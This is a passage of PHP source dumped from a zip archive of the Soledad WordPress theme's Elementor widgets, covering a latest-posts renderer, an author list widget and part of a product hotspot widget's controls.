		$query_args = Query_Control::get_query_args( 'posts', $settings );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}
		$loop = new \WP_Query( $query_args );

		if ( ! $loop->have_posts() ) {
			return;
		}

		$title_length = intval( $settings['title_length'] );
		$featured     = 'yes' == $settings['featured'] ? true : false;
		$movemeta     = 'yes' == $settings['movemeta'] ? true : false;
		$twocolumn    = 'yes' == $settings['twocolumn'] ? true : false;
		$featured2    = 'yes' == $settings['featured2'] ? true : false;
		$allfeatured  = 'yes' == $settings['allfeatured'] ? true : false;
		$thumbright   = 'yes' == $settings['thumbright'] ? true : false;
		$postdate     = 'yes' == $settings['hide_postdate'] ? true : false;
		$showauthor   = 'yes' == $settings['show_author'] ? true : false;
		$showcomment  = 'yes' == $settings['show_comment'] ? true : false;
		$showviews    = 'yes' == $settings['show_postviews'] ? true : false;
		$icon         = 'yes' == $settings['icon_format'] ? true : false;
		$ordernum     = 'yes' == $settings['ordernum'] ? true : false;
		$vscroll      = 'yes' == $settings['vertical_scroll'] ? true : false;

		if ( $vscroll ) {
			wp_enqueue_script( 'penci-marquee-widget' );
		}

		$ajax_tab_var = [
			'title_length'   => intval( $settings['title_length'] ),
			'featured'       => $settings['featured'],
			'movemeta'       => $settings['movemeta'],
			'twocolumn'      => $settings['twocolumn'],
			'featured2'      => $settings['featured2'],
			'allfeatured'    => $settings['allfeatured'],
			'thumbright'     => $settings['thumbright'],
			'hide_postdate'  => $settings['hide_postdate'],
			'show_author'    => $settings['show_author'],
			'show_comment'   => $settings['show_comment'],
			'show_postviews' => $settings['show_postviews'],
			'icon_format'    => $settings['icon_format'],
			'ordernum'       => $settings['ordernum'],
			'custom_query'   => $query_args,
		];


		$css_class = 'penci-block-vc penci_recent-posts-sc widget';
		$rand      = rand( 1000, 10000 );
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">

                <ul id="penci-latestwg-<?php echo sanitize_text_field( $rand ); ?>"
					<?php if ( $vscroll ): ?>
						data-vscroll-speed="<?php echo esc_attr( $settings['vertical_scroll_speed'] ); ?>"
						data-vscroll-spacing="<?php echo esc_attr( $settings['vertical_scroll_spacing'] ); ?>"
					<?php endif; ?>
					<?php if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] ) { ?>
                        data-settings='<?php echo json_encode( $ajax_tab_var ); ?>'
                        data-paged="1"
                        data-type="elementor"
                        data-action="penci_latest_news_widget_ajax"
                        data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                        data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
					<?php } ?>
                    class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
						if ( $featured ) {
							echo ' penci-2columns-featured';
						} else {
							echo ' penci-2columns-feed';
						} endif;
					if ( $dotstyle ) {
						echo ' pctlst pctl-' . $dotstyle;
					}
					if ( $ordernum ) {
						echo ' display-order-numbers order-numbers-' . $settings['ordernum_style'];
					}
					if ( $vscroll ) {
						echo ' penci-vscroll';
					}
					?>">
					<?php $num = 1;
					while ( $loop->have_posts() ) : $loop->the_post(); ?>
                        <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
							if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
							<?php if ( $ordernum && has_post_thumbnail() && ! $settings['hide_thumb'] ): ?>
                                <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
							<?php endif; ?>
                            <div class="side-item">
								<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $settings['hide_thumb'] ) : ?>
                                    <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
										<?php
										$size_pie = 'small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
										do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
										/* Display Review Piechart  */
										if ( function_exists( 'penci_display_piechart_review_html' ) ) {
											penci_display_piechart_review_html( get_the_ID(), $size_pie );
										}

										$thumb = penci_featured_images_size( 'small' );
										if ( 'horizontal' == $penci_size ) {
											$thumb = 'penci-thumb-small';
										} else if ( 'square' == $penci_size ) {
											$thumb = 'penci-thumb-square';
										} else if ( 'vertical' == $penci_size ) {
											$thumb = 'penci-thumb-vertical';
										} else if ( 'custom' == $penci_size ) {
											if ( $thumb_size ) {
												$thumb = $thumb_size;
											}
										}
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											$thumb = penci_featured_images_size();
											if ( 'horizontal' == $penci_size ) {
												$thumb = 'penci-thumb';
											} else if ( 'square' == $penci_size ) {
												$thumb = 'penci-thumb-square';
											} else if ( 'vertical' == $penci_size ) {
												$thumb = 'penci-thumb-vertical';
											} else if ( 'custom' == $penci_size ) {
												if ( $thumb_bigsize ) {
													$thumb = $thumb_bigsize;
												}
											}
										}
										?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?>
                                                class="<?php echo penci_layout_bg_class(); ?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
													echo '';
												} else {
													echo ' small-fix-size';
												} ?>" rel="bookmark"
                                                href="<?php the_permalink(); ?>"
                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                        </a>


										<?php if ( $icon ): ?>
											<?php if ( has_post_format( 'video' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'audio' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'link' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'quote' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
											<?php endif; ?>
										<?php endif; ?>
                                    </div>
								<?php endif; ?>
                                <div class="side-item-text">
									<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>

                                    <h4 class="side-title-post">
                                        <a href="<?php the_permalink() ?>" rel="bookmark"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php
											if ( ! $title_length || ! is_numeric( $title_length ) ) {
												if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
												} else {
													the_title();
												}
											} else {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
											}
											?>
                                        </a>
                                    </h4>
									<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
                                </div>
                            </div>
                        </li>
						<?php $num ++; endwhile; ?>
                </ul>
				<?php

				if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				wp_reset_postdata();
				?>
            </div>
        </div>
		<?php
	}
}
PK     0w\d  d  .  elementor/modules/penci-author-list/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAuthorList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-author-list';
	}

	public function get_widgets() {
		return array( 'PenciAuthorList' );
	}
}
PK     0w\Y\    A  elementor/modules/penci-author-list/widgets/penci-author-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAuthorList\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciAuthorList extends Base_Widget {

	public function get_name() {
		return 'penci-author-list';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Author List', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-user-circle-o';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_settings', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$roles = [];

		$wp_roles = new \WP_Roles();
		if ( ! empty( $wp_roles ) ) {
			foreach ( $wp_roles->roles as $role_name => $role_info ) {
				$roles[ $role_name ] = $role_info['name'];
			}
		}

		$this->add_control( 'roles', array(
			'label'    => __( 'Select User Roles', 'soledad' ),
			'type'     => Controls_Manager::SELECT2,
			'multiple' => true,
			'default'  => [ 'administrator' ],
			'options'  => $roles,
		) );

		$this->add_control( 'excluded', array(
			'label' => __( 'Exclude User IDs:', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );

		$this->add_control( 'avatar', array(
			'label' => __( 'Hide user avatar?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'avatar_size', array(
			'label'   => __( 'Avatar Image Size', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 70
		) );

		$this->add_control( 'avatar_bdradius', array(
			'label'     => __( 'Avatar Image Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'selectors' => array(
				'{{WRAPPER}} .pc-widget-user-lists.el img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'post_count', array(
			'label' => __( 'Hide user posts count?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Color & Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_responsive_control( 'author_spacing', array(
			'label'      => __( 'Spacing Between Authors', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .pc-widget-user-lists.el ul li:not(:last-child)' => 'margin-bottom: calc({{SIZE}}px / 2);padding-bottom: calc({{SIZE}}px / 2);'
			),
		) );

		$this->add_control( 'author_bcolor', array(
			'label'     => __( 'Divider Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .pc-widget-user-lists.el ul li:not(:last-child)' => 'border-bottom-color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'author_name_typo',
			'label'    => __( 'Author Name Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-widget-user-lists.el .name',
		) );

		$this->add_control( 'name_color', array(
			'label'     => __( 'Name Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-user-lists.el .name a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'name_hcolor', array(
			'label'     => __( 'Name Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-user-lists.el .name a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'name_spacing', array(
			'label'      => __( 'Name Spacing', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .pc-widget-user-lists.el .name' => 'margin-bottom: {{SIZE}}px;'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_count_typo',
			'label'    => __( 'Post Count Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-widget-user-lists.el .count',
		) );

		$this->add_control( 'count_color', array(
			'label'     => __( 'Post Count Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-user-lists.el .count' => 'color: {{VALUE}};' ),
		) );

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings    = $this->get_settings();
		$role__in    = $settings['roles'];
		$exclude     = $settings['excluded'];
		$avatar      = $settings['avatar'];
		$total_posts = $settings['post_count'];
		$ava_size    = $settings['avatar_size'];
		$users_args  = [];

		if ( $role__in !== 'all' ) {
			$users_args['role__in'] = $role__in;
		}
		if ( $exclude ) {
			$users_args['exclude'] = explode( ',', $exclude );
		}
		$users = get_users( $users_args );
		if ( $users ) {
			?>
            <div class="pc-widget-user-lists el">
				<?php $this->markup_block_title( $settings, $this ); ?>
                <ul>
					<?php foreach ( $users as $user ):
						$total_post = count_user_posts( $user->ID );
						$author_link = get_author_posts_url( $user->ID );
						$text = $total_post > 1 ? penci_get_setting( 'penci_trans_posts' ) : penci_get_setting( 'penci_trans_post' );
						?>
                        <li>
							<?php if ( ! $avatar ): ?>
                                <a class="pc-uw-ava"
                                   href="<?php echo esc_url( $author_link ); ?>"><?php echo get_avatar( $user->ID, $ava_size ); ?></a>
							<?php endif; ?>
                            <div class="pc-uw-userinfo">
                                <h4 class="name"><a
                                            href="<?php echo esc_url( $author_link ); ?>"><?php echo esc_attr( $user->display_name ); ?></a>
                                </h4>
								<?php if ( ! $total_posts ): ?>
                                    <span class="count"><?php echo $total_post . ' ' . $text; ?></span>
								<?php endif; ?>
                            </div>
                        </li>
					<?php endforeach; ?>
                </ul>
            </div>
			<?php
		}
	}
}
PK     0w\'<?)  )  2  elementor/modules/penci-product-hotspot/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductHotspot;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_hotspot';
	}

	public function get_widgets() {
		return array( 'PenciProductHotspot' );
	}
}
PK     0w\;z;F  ;F  I  elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.phpnu [        <?php
/**
 * Image hotspot map.
 */

namespace PenciSoledadElementor\Modules\PenciProductHotspot\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use Elementor\Widget_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductHotspot extends Widget_Base {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_product_hotspot';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' - Product Hotspot', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-hotspot';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$this->add_control(
			'image',
			[
				'label'   => esc_html__( 'Choose image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => [
					'url' => Utils::get_placeholder_image_src(),
				],
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'large',
				'separator' => 'none',
			]
		);

		$this->end_controls_section();

		/**
		 * Items settings.
		 */
		$this->start_controls_section(
			'items_content_section',
			[
				'label' => esc_html__( 'Items', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'hotspot_tabs' );

		$repeater->start_controls_tab(
			'content_tab',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'hotspot_type',
			[
				'label'   => esc_html__( 'Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'text'    => esc_html__( 'Text', 'soledad' ),
					'product' => esc_html__( 'Product', 'soledad' ),
				],
				'default' => 'product',
			]
		);

		$repeater->add_control(
			'hotspot_dropdown_side',
			[
				'label'       => esc_html__( 'Dropdown side', 'soledad' ),
				'description' => esc_html__( 'Show the content on left or right side, top or bottom.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'options'     => [
					'left'   => esc_html__( 'Left', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
					'top'    => esc_html__( 'Top', 'soledad' ),
					'bottom' => esc_html__( 'Bottom', 'soledad' ),
				],
				'default'     => 'left',
			]
		);

		/**
		 * Text settings
		 */
		$repeater->add_control(
			'title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Title, click to edit.',
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_control(
			'image',
			[
				'label'     => esc_html__( 'Choose image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'large',
				'separator' => 'none',
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_control(
			'link_text',
			[
				'label'     => esc_html__( 'Link text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Button',
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_control(
			'link',
			[
				'label'     => esc_html__( 'Link', 'soledad' ),
				'type'      => Controls_Manager::URL,
				'default'   => [
					'url'         => '#',
					'is_external' => false,
					'nofollow'    => false,
				],
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		$repeater->add_control(
			'content',
			[
				'label'     => esc_html__( 'Content', 'soledad' ),
				'type'      => Controls_Manager::TEXTAREA,
				'condition' => [
					'hotspot_type' => [ 'text' ],
				],
			]
		);

		/**
		 * Product settings
		 */
		$repeater->add_control(
			'product_id',
			[
				'label'       => esc_html__( 'Select product', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => false,
				'label_block' => true,
				'condition'   => [
					'hotspot_type' => [ 'product' ],
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'position_tab',
			[
				'label' => esc_html__( 'Position', 'soledad' ),
			]
		);

		$repeater->add_responsive_control(
			'hotspot_position_horizontal',
			[
				'label'     => esc_html__( 'Horizontal position (%)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 50,
				],
				'range'     => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 0.1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} {{CURRENT_ITEM}}.penci-image-hotspot' => 'left: {{SIZE}}%;',
				],
			]
		);

		$repeater->add_responsive_control(
			'hotspot_position_vertical',
			[
				'label'     => esc_html__( 'Vertical position (%)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 50,
				],
				'range'     => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 0.1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} {{CURRENT_ITEM}}.penci-image-hotspot' => 'top: {{SIZE}}%;',
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		/**
		 * Repeater settings
		 */
		$this->add_control(
			'items',
			[
				'type'    => Controls_Manager::REPEATER,
				'fields'  => $repeater->get_controls(),
				'default' => [
					[
						'content' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.',
					],
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Style tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_style_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'icon',
			[
				'label'   => esc_html__( 'Hotspot icon', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'default' => esc_html__( 'Style 1', 'soledad' ),
					'alt'     => esc_html__( 'Style 2', 'soledad' ),
				],
				'default' => 'default',
			]
		);

		$this->add_control(
			'action',
			[
				'label'       => esc_html__( 'Hotspot action', 'soledad' ),
				'description' => esc_html__( 'Open hotspot content on click or hover', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'options'     => [
					'hover' => esc_html__( 'Hover', 'soledad' ),
					'click' => esc_html__( 'Click', 'soledad' ),
				],
				'default'     => 'hover',
			]
		);

		$this->end_controls_section();

		/**
		 * Color settings.
		 */
		$this->start_controls_section(
			'general_color_section',
			[
				'label' => esc_html__( 'Color', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'item_hotspot_color', array(
				'label'     => __( 'Hotspot Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .hotspot-icon-default .hotspot-btn:after' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .hotspot-icon-alt .hotspot-btn::after'    => 'color: {{VALUE}};',
				],
			)
		);

		$this->add_control(
			'item_hotspot_bg_color', array(
				'label'     => __( 'Hotspot Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .hotspot-icon-default .hotspot-sonar' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .hotspot-icon-alt .hotspot-sonar'     => 'background-color: {{VALUE}};',
				],
			)
		);

		$this->add_control(
			'item_hotspot_shadow_color', array(
				'label'     => __( 'Hotspot Shadow Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-image-hotspot' => 'box-shadow: 0 0 3px {{VALUE}};',
				],
			)
		);

		$this->add_control(
			'item_bg_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_color', array(
				'label'     => __( 'Product Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content .penci-product-title a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_hover_color', array(
				'label'     => __( 'Product Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content .penci-product-title a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'item_title_typo',
				'label'    => __( 'Product Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .hotspot-content .penci-product-title',
			)
		);

		$this->add_control(
			'item_title_price_color', array(
				'label'     => __( 'Product Price Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content .price' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'item_price_typo',
				'label'    => __( 'Product Price Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .hotspot-content .price',
			)
		);

		$this->add_control(
			'item_title_btn_bg_color', array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content a.button' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_btn_bg_hover_color', array(
				'label'     => __( 'Button Background Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .hotspot-content a.button:hover' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_title_btn_txt_color', array(
				'label'     => __( 'Button Text Color', 'soledad' ),
